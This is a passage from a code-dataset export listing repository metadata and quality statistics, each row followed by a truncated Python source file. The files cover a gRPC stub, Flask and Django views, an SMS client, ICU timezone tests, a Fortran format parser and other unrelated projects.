] | 36 | 2018-12-23T13:51:50.000Z | 2022-03-25T07:48:24.000Z | yandex/cloud/mdb/clickhouse/v1/versions_service_pb2_grpc.py | korsar182/python-sdk | 873bf2a9b136a8f2faae72e86fae1f5b5c3d896a | [
"MIT"
] | 15 | 2019-02-28T04:55:09.000Z | 2022-03-06T23:17:24.000Z | yandex/cloud/mdb/clickhouse/v1/versions_service_pb2_grpc.py | korsar182/python-sdk | 873bf2a9b136a8f2faae72e86fae1f5b5c3d896a | [
"MIT"
] | 18 | 2019-02-23T07:10:57.000Z | 2022-03-28T14:41:08.000Z | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
from yandex.cloud.mdb.clickhouse.v1 import versions_service_pb2 as yandex_dot_cloud_dot_mdb_dot_clickhouse_dot_v1_dot_versions__service__pb2
class VersionsServ... | 41.985915 | 153 | 0.719893 | 327 | 2,981 | 6.137615 | 0.293578 | 0.059791 | 0.071749 | 0.059292 | 0.465869 | 0.452915 | 0.432486 | 0.387643 | 0.387643 | 0.363727 | 0 | 0.008075 | 0.210668 | 2,981 | 70 | 154 | 42.585714 | 0.844879 | 0.152298 | 0 | 0 | 1 | 0 | 0.080972 | 0.060729 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0 | 0.047619 | 0.02381 | 0.238095 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f9772157d6d2758f310681be0220351aa6afb558 | 852 | py | Python | d3api/meta/version.py | metro-nom/d3api | 0829518c124afc44e845965091f0714b8307097b | [
"BSD-3-Clause"
] | null | null | null | d3api/meta/version.py | metro-nom/d3api | 0829518c124afc44e845965091f0714b8307097b | [
"BSD-3-Clause"
] | null | null | null | d3api/meta/version.py | metro-nom/d3api | 0829518c124afc44e845965091f0714b8307097b | [
"BSD-3-Clause"
] | 2 | 2020-12-17T10:17:11.000Z | 2020-12-17T13:04:06.000Z | import pkg_resources
from flask import current_app
from flask_restful import Resource
from marshmallow import Schema, fields
from d3api.extensions import apispec
from d3api.meta.views import api, blueprint
class VersionSchema(Schema):
name = fields.Str(required=True)
version = fields.Str(required=True)
ver... | 19.363636 | 52 | 0.661972 | 95 | 852 | 5.831579 | 0.505263 | 0.043321 | 0.061372 | 0.075812 | 0.101083 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012384 | 0.241784 | 852 | 43 | 53 | 19.813953 | 0.845201 | 0.173709 | 0 | 0 | 0 | 0 | 0.04414 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0 | 0.315789 | 0.052632 | 0.684211 | 0.105263 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
f977331c6205599bc47b7440cb01af01615305c8 | 375 | py | Python | arc061_c.py | Lockdef/kyopro-code | 2d943a87987af05122c556e173e5108a0c1c77c8 | [
"MIT"
] | null | null | null | arc061_c.py | Lockdef/kyopro-code | 2d943a87987af05122c556e173e5108a0c1c77c8 | [
"MIT"
] | null | null | null | arc061_c.py | Lockdef/kyopro-code | 2d943a87987af05122c556e173e5108a0c1c77c8 | [
"MIT"
] | null | null | null | s = input()
ans = 0
n = len(s)-1
for i in range(2 ** n):
bag = []
for j in range(n):
if ((i >> j) & 1):
bag.append(1)
else:
bag.append(0)
c = 0
temp = s
for j in range(0, n):
c += 1
if (bag[j]):
temp = temp[:c] + '+' + temp[c:]
... | 13.888889 | 44 | 0.362667 | 58 | 375 | 2.344828 | 0.362069 | 0.154412 | 0.088235 | 0.161765 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.049261 | 0.458667 | 375 | 26 | 45 | 14.423077 | 0.62069 | 0 | 0 | 0.105263 | 0 | 0 | 0.002667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f97f5c700319a1d5e5d4cb2a66f03243929cc06a | 2,662 | py | Python | concept/variables/variable.py | Nachtfeuer/concept-py | 64e1f82de144f959cdf3c6dcf0f692bbc0ceb20f | [
"MIT"
] | 2 | 2019-03-02T18:50:24.000Z | 2019-12-19T14:15:42.000Z | concept/variables/variable.py | Nachtfeuer/concept-py | 64e1f82de144f959cdf3c6dcf0f692bbc0ceb20f | [
"MIT"
] | 10 | 2015-07-27T03:24:57.000Z | 2017-03-31T18:11:26.000Z | concept/variables/variable.py | Nachtfeuer/concept-py | 64e1f82de144f959cdf3c6dcf0f692bbc0ceb20f | [
"MIT"
] | null | null | null | """
Wrapper for a value.
.. module:: variable
:platform: Unix, Windows
:synopis: represents a wrapper for a value
.. moduleauthor:: Thomas Lehmann <thomas.lehmann.private@googlemail.com>
=======
License
=======
Copyright (c) 2017 Thomas Lehmann
Permission is hereby granted, free of charge,... | 32.463415 | 93 | 0.668295 | 353 | 2,662 | 4.985836 | 0.441926 | 0.05 | 0.01875 | 0.027273 | 0.030682 | 0.030682 | 0 | 0 | 0 | 0 | 0 | 0.002028 | 0.259204 | 2,662 | 81 | 94 | 32.864198 | 0.890467 | 0.714876 | 0 | 0.117647 | 0 | 0 | 0.011745 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.352941 | false | 0 | 0.058824 | 0 | 0.764706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f98089a05a1bacc7cb14274d9e2eae2ac92a5635 | 1,288 | py | Python | scale.app/scripts/msvc2org.py | f4rsh/SCALe | b4c68453a4bbf439663b75734618f95fc7a7f80f | [
"FSFAP"
] | 239 | 2018-08-14T15:36:06.000Z | 2022-02-02T00:14:59.000Z | scale.app/scripts/msvc2org.py | f4rsh/SCALe | b4c68453a4bbf439663b75734618f95fc7a7f80f | [
"FSFAP"
] | 3 | 2018-08-21T20:57:08.000Z | 2021-09-03T01:53:09.000Z | scale.app/scripts/msvc2org.py | f4rsh/SCALe | b4c68453a4bbf439663b75734618f95fc7a7f80f | [
"FSFAP"
] | 59 | 2018-08-14T16:26:21.000Z | 2022-02-03T13:00:10.000Z | #!/usr/bin/env python
# Scrubs the output of msvc and prints out the dianostics.
#
# The only argument indicates the file containing the input.
#
# This script can produce lots of messages per diagnostic
#
# Copyright (c) 2007-2018 Carnegie Mellon University. All Rights Reserved.
# See COPYRIGHT file for details.
im... | 28.622222 | 76 | 0.604814 | 154 | 1,288 | 5.058442 | 0.564935 | 0.066752 | 0.077022 | 0.112965 | 0.133504 | 0.105263 | 0.074454 | 0 | 0 | 0 | 0 | 0.014327 | 0.187112 | 1,288 | 44 | 77 | 29.272727 | 0.729704 | 0.260093 | 0 | 0 | 0 | 0 | 0.198514 | 0.106157 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.115385 | null | null | 0.038462 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f9812be952f9ceaf0208b61b8627b3fcf9bdc287 | 5,811 | py | Python | uranium/packages/__init__.py | toumorokoshi/uranium | 2d99deb7762c7a788966637157afcee171fcf6a8 | [
"MIT"
] | 21 | 2016-01-14T04:06:08.000Z | 2021-03-23T01:43:48.000Z | uranium/packages/__init__.py | toumorokoshi/uranium | 2d99deb7762c7a788966637157afcee171fcf6a8 | [
"MIT"
] | 45 | 2015-02-09T06:02:01.000Z | 2018-07-22T19:16:01.000Z | uranium/packages/__init__.py | toumorokoshi/uranium | 2d99deb7762c7a788966637157afcee171fcf6a8 | [
"MIT"
] | 10 | 2015-02-07T20:56:22.000Z | 2018-07-20T03:18:07.000Z | import os
import pkg_resources
from ..lib.asserts import get_assert_function
from ..lib.compat import invalidate_caches
from ..exceptions import PackageException
from .versions import Versions
from .pippuppet import PipPuppet
import virtualenv
p_assert = get_assert_function(PackageException)
DEFAULT_INDEX_URLS = ["ht... | 35.006024 | 95 | 0.641714 | 709 | 5,811 | 5.110014 | 0.277856 | 0.027325 | 0.017941 | 0.024289 | 0.150152 | 0.105437 | 0.046922 | 0.046922 | 0.026497 | 0.026497 | 0 | 0.005028 | 0.281191 | 5,811 | 165 | 96 | 35.218182 | 0.862341 | 0.339528 | 0 | 0.119565 | 0 | 0 | 0.0594 | 0 | 0 | 0 | 0 | 0.012121 | 0.054348 | 1 | 0.119565 | false | 0.01087 | 0.119565 | 0 | 0.315217 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f999ad9bcf00bea829ec02688f750adcd8e43b7a | 479 | py | Python | coreNLPServer.py | oraziorillo/AppliedDataAnalysisProject | 13633a114c2eba085c7b3ca7fd7b496f998d98a4 | [
"MIT"
] | 1 | 2020-11-25T00:18:27.000Z | 2020-11-25T00:18:27.000Z | coreNLPServer.py | epfl-ada/ada-2020-project-milestone-p3-p3_thot | 123f2cee5af5b002ec8143c477ff01bed36e6fa8 | [
"MIT"
] | null | null | null | coreNLPServer.py | epfl-ada/ada-2020-project-milestone-p3-p3_thot | 123f2cee5af5b002ec8143c477ff01bed36e6fa8 | [
"MIT"
] | null | null | null | import os
from nltk.parse.corenlp import CoreNLPServer
# The server needs to know the location of the following files:
# - stanford-corenlp-X.X.X.jar
# - stanford-corenlp-X.X.X-models.jar
STANFORD = os.path.join("models", "stanford-corenlp-4.2.0")
# Create the server
server = CoreNLPServer(
os.path.join(STANFO... | 26.611111 | 67 | 0.720251 | 76 | 479 | 4.539474 | 0.381579 | 0.217391 | 0.086957 | 0.147826 | 0.365217 | 0.208696 | 0.208696 | 0.208696 | 0.208696 | 0 | 0 | 0.021792 | 0.137787 | 479 | 17 | 68 | 28.176471 | 0.813559 | 0.382046 | 0 | 0 | 0 | 0 | 0.301038 | 0.280277 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f99d41329441c74cee1cf4c76c0c367e6cd1c31b | 3,084 | py | Python | player/views.py | DevRx28/dbms-api | 5685555c7c8b6621dc03c4092606c1972b6afda1 | [
"Apache-2.0"
] | null | null | null | player/views.py | DevRx28/dbms-api | 5685555c7c8b6621dc03c4092606c1972b6afda1 | [
"Apache-2.0"
] | null | null | null | player/views.py | DevRx28/dbms-api | 5685555c7c8b6621dc03c4092606c1972b6afda1 | [
"Apache-2.0"
] | null | null | null | from django.shortcuts import render
from django.http import HttpResponse
from django.http import Http404
from django.views.decorators.csrf import csrf_exempt
from .models import Player
from django.core.paginator import Paginator
@csrf_exempt
def basic_view(request):
if request.method == 'POST':
p... | 27.783784 | 86 | 0.529183 | 255 | 3,084 | 6.360784 | 0.235294 | 0.074599 | 0.135635 | 0.088779 | 0.186806 | 0.149815 | 0.126387 | 0 | 0 | 0 | 0 | 0.002677 | 0.394293 | 3,084 | 110 | 87 | 28.036364 | 0.865632 | 0.024643 | 0 | 0.494505 | 0 | 0 | 0.052868 | 0.007947 | 0 | 0 | 0 | 0 | 0 | 1 | 0.010989 | false | 0.186813 | 0.065934 | 0 | 0.098901 | 0.010989 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
f99f72c6dc7678f19241de2d54cf8685aa0012de | 1,195 | py | Python | witty_flow_sms/__init__.py | charlesagyemang/witty_flow_sms_pip | c99b01f09d3842667c216d9bdbe6bb9b9e735461 | [
"MIT"
] | null | null | null | witty_flow_sms/__init__.py | charlesagyemang/witty_flow_sms_pip | c99b01f09d3842667c216d9bdbe6bb9b9e735461 | [
"MIT"
] | null | null | null | witty_flow_sms/__init__.py | charlesagyemang/witty_flow_sms_pip | c99b01f09d3842667c216d9bdbe6bb9b9e735461 | [
"MIT"
] | null | null | null | import requests #type: ignore
class WittyFlowSms:
def __init__(self, app_id, app_secret):
self.app_id = app_id
self.app_secret = app_secret
def app_id(self):
return self.app_id
def app_secret(self):
return self.app_secret
def send_sms(self, phone, to, message, is... | 31.447368 | 141 | 0.601674 | 164 | 1,195 | 4.134146 | 0.268293 | 0.113569 | 0.079646 | 0.088496 | 0.402655 | 0.376106 | 0.320059 | 0.283186 | 0.283186 | 0.159292 | 0 | 0.010135 | 0.256904 | 1,195 | 38 | 142 | 31.447368 | 0.753378 | 0.010042 | 0 | 0.107143 | 0 | 0.071429 | 0.283178 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.035714 | 0.071429 | 0.464286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f9a58e03c6a4d36eff0d841e40f80c047d873faf | 6,070 | py | Python | InfluxDB2json/uirasmeta.py | VekotinVerstas/DataManagementScripts | d75315554a2b4cceab9169f38364ff28f70681c4 | [
"MIT"
] | null | null | null | InfluxDB2json/uirasmeta.py | VekotinVerstas/DataManagementScripts | d75315554a2b4cceab9169f38364ff28f70681c4 | [
"MIT"
] | null | null | null | InfluxDB2json/uirasmeta.py | VekotinVerstas/DataManagementScripts | d75315554a2b4cceab9169f38364ff28f70681c4 | [
"MIT"
] | null | null | null | META = {
'70B3D57050001AB9': {
'name': 'Pikkukosken uimaranta',
'lat': 60.227704,
'lon': 24.983821,
'servicemap_url': 'https://palvelukartta.hel.fi/unit/41960',
'site_url': '',
},
'70B3D57050001BBE': {
'name': 'Rastilan uimaranta',
'lat': 60.207977,
... | 30.049505 | 106 | 0.506425 | 562 | 6,070 | 5.339858 | 0.302491 | 0.043319 | 0.113962 | 0.196268 | 0.31856 | 0.31856 | 0.28857 | 0.28857 | 0.036654 | 0.036654 | 0 | 0.189202 | 0.298188 | 6,070 | 201 | 107 | 30.199005 | 0.515258 | 0.059802 | 0 | 0.192513 | 0 | 0 | 0.482159 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f9ab824546312c024f7acc6b720d362c2b14f994 | 900 | py | Python | mbta/exceptions.py | WilliamCFong/MBTA_PY | a3a0bb6be3ec13eb58ff29f7a886611999ce073f | [
"MIT"
] | null | null | null | mbta/exceptions.py | WilliamCFong/MBTA_PY | a3a0bb6be3ec13eb58ff29f7a886611999ce073f | [
"MIT"
] | null | null | null | mbta/exceptions.py | WilliamCFong/MBTA_PY | a3a0bb6be3ec13eb58ff29f7a886611999ce073f | [
"MIT"
] | null | null | null | class MBTA_Exception(Exception):
"""Superclass for all Exceptions raised in mbta package. """
pass
class MBTA_NotFound(MBTA_Exception):
""" Raised when search returns 404 (Not Found). """
def __init__(self, response, query_val):
parameter = response['errors'][0]['source']['parameter']
... | 29.032258 | 92 | 0.673333 | 110 | 900 | 5.263636 | 0.536364 | 0.07772 | 0.131261 | 0.119171 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015299 | 0.201111 | 900 | 30 | 93 | 30 | 0.789986 | 0.308889 | 0 | 0.2 | 0 | 0 | 0.167513 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0.2 | 0 | 0 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
f9ac62aa5f2a66031ec142973af14ad08735318a | 6,684 | py | Python | tests/test_tznames.py | miute/icupy | 253dd666936c23577abd1fdd94bc9cea012017b8 | [
"MIT"
] | null | null | null | tests/test_tznames.py | miute/icupy | 253dd666936c23577abd1fdd94bc9cea012017b8 | [
"MIT"
] | null | null | null | tests/test_tznames.py | miute/icupy | 253dd666936c23577abd1fdd94bc9cea012017b8 | [
"MIT"
] | null | null | null | import copy
import pytest
from icupy import U_ICU_VERSION_MAJOR_NUM
if U_ICU_VERSION_MAJOR_NUM < 50:
pytest.skip("ICU4C<50", allow_module_level=True)
from icupy import (
Locale, StringEnumeration, TimeZoneNames, UTimeZoneNameType,
UnicodeString,
)
def test_api():
# static TimeZoneNames *icu::TimeZo... | 29.575221 | 79 | 0.660383 | 687 | 6,684 | 6.250364 | 0.163028 | 0.074523 | 0.03633 | 0.097811 | 0.653237 | 0.542385 | 0.455286 | 0.415929 | 0.347694 | 0.347694 | 0 | 0.022423 | 0.239378 | 6,684 | 225 | 80 | 29.706667 | 0.822187 | 0.238181 | 0 | 0.642336 | 0 | 0 | 0.093886 | 0 | 0 | 0 | 0 | 0 | 0.423358 | 1 | 0.021898 | false | 0 | 0.029197 | 0 | 0.051095 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f9ae833e2cec0a7d35f1e78abda7acc5b2f6e0d3 | 396 | py | Python | soluciones/coordenadas_polares/main.py | carlosviveros/Soluciones | 115f4fa929c7854ca497e4c994352adc64565456 | [
"MIT"
] | 1 | 2022-02-02T04:44:56.000Z | 2022-02-02T04:44:56.000Z | soluciones/coordenadas_polares/main.py | leugimkm/Soluciones | d71601c8d9b5e86e926f48d9e49462af8a956b6d | [
"MIT"
] | null | null | null | soluciones/coordenadas_polares/main.py | leugimkm/Soluciones | d71601c8d9b5e86e926f48d9e49462af8a956b6d | [
"MIT"
] | null | null | null | """AyudaEnPython: https://www.facebook.com/groups/ayudapython
"""
from modelos import Punto
from utils import crear_coordenadas, mostrar, crear_coordenadas_usuario
def main():
coordenadas = crear_coordenadas(Punto)
mostrar(coordenadas)
def main_alt():
coordenadas = crear_coordenadas_usuario(Punto)
m... | 20.842105 | 71 | 0.739899 | 44 | 396 | 6.295455 | 0.477273 | 0.231047 | 0.166065 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15404 | 396 | 19 | 72 | 20.842105 | 0.826866 | 0.176768 | 0 | 0.2 | 0 | 0 | 0.025 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f9c082f127839a7a541fc68b1785186a9b086ea8 | 6,117 | py | Python | tools/mytools/ARIA/src/py/aria/legacy/FortranFormat.py | fmareuil/Galaxy_test_pasteur | 6f84fb0fc52e3e7dd358623b5da5354c66e16a5f | [
"CC-BY-3.0"
] | null | null | null | tools/mytools/ARIA/src/py/aria/legacy/FortranFormat.py | fmareuil/Galaxy_test_pasteur | 6f84fb0fc52e3e7dd358623b5da5354c66e16a5f | [
"CC-BY-3.0"
] | null | null | null | tools/mytools/ARIA/src/py/aria/legacy/FortranFormat.py | fmareuil/Galaxy_test_pasteur | 6f84fb0fc52e3e7dd358623b5da5354c66e16a5f | [
"CC-BY-3.0"
] | null | null | null | # This module defines a class that handles I/O using
# Fortran-compatible format specifications.
#
#
# Warning: Fortran formatting is a complex business and I don't
# claim that this module works for anything complicated. It knows
# only the most frequent formatting options. Known limitations:
#
# 1) Only A, D, E, F, G... | 25.4875 | 78 | 0.610103 | 897 | 6,117 | 4.111483 | 0.247492 | 0.034707 | 0.016269 | 0.021692 | 0.150217 | 0.112798 | 0.068601 | 0.061822 | 0.061822 | 0.037419 | 0 | 0.032196 | 0.238352 | 6,117 | 239 | 79 | 25.594142 | 0.75939 | 0.169528 | 0 | 0.269231 | 0 | 0 | 0.026309 | 0.006639 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.00641 | null | null | 0.012821 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f9cb5e33eeb5788858ac5ac9772205641bbb63de | 448 | py | Python | django_rethink/urls.py | dhozac/django_rethink | 2eb532ae9413ae1fe3e9dce179571764cfa6ebe0 | [
"Apache-2.0"
] | 3 | 2019-08-28T00:33:25.000Z | 2020-04-23T20:40:58.000Z | django_rethink/urls.py | dhozac/django_rethink | 2eb532ae9413ae1fe3e9dce179571764cfa6ebe0 | [
"Apache-2.0"
] | null | null | null | django_rethink/urls.py | dhozac/django_rethink | 2eb532ae9413ae1fe3e9dce179571764cfa6ebe0 | [
"Apache-2.0"
] | 2 | 2019-08-10T21:57:53.000Z | 2019-08-28T00:33:30.000Z | from __future__ import absolute_import
from django.conf.urls import include, url
from django_rethink.views import *
app_name = 'django_rethink'
urlpatterns = [
url(r'^review/(?P<id>[A-Za-z0-9-]+)/?$', ReviewDetailView.as_view(), name='review_detail'),
url(r'^review/?$', ReviewListView.as_view(), name='review_l... | 40.727273 | 118 | 0.685268 | 64 | 448 | 4.546875 | 0.515625 | 0.041237 | 0.103093 | 0.041237 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009852 | 0.09375 | 448 | 10 | 119 | 44.8 | 0.706897 | 0 | 0 | 0 | 0 | 0.111111 | 0.332589 | 0.198661 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.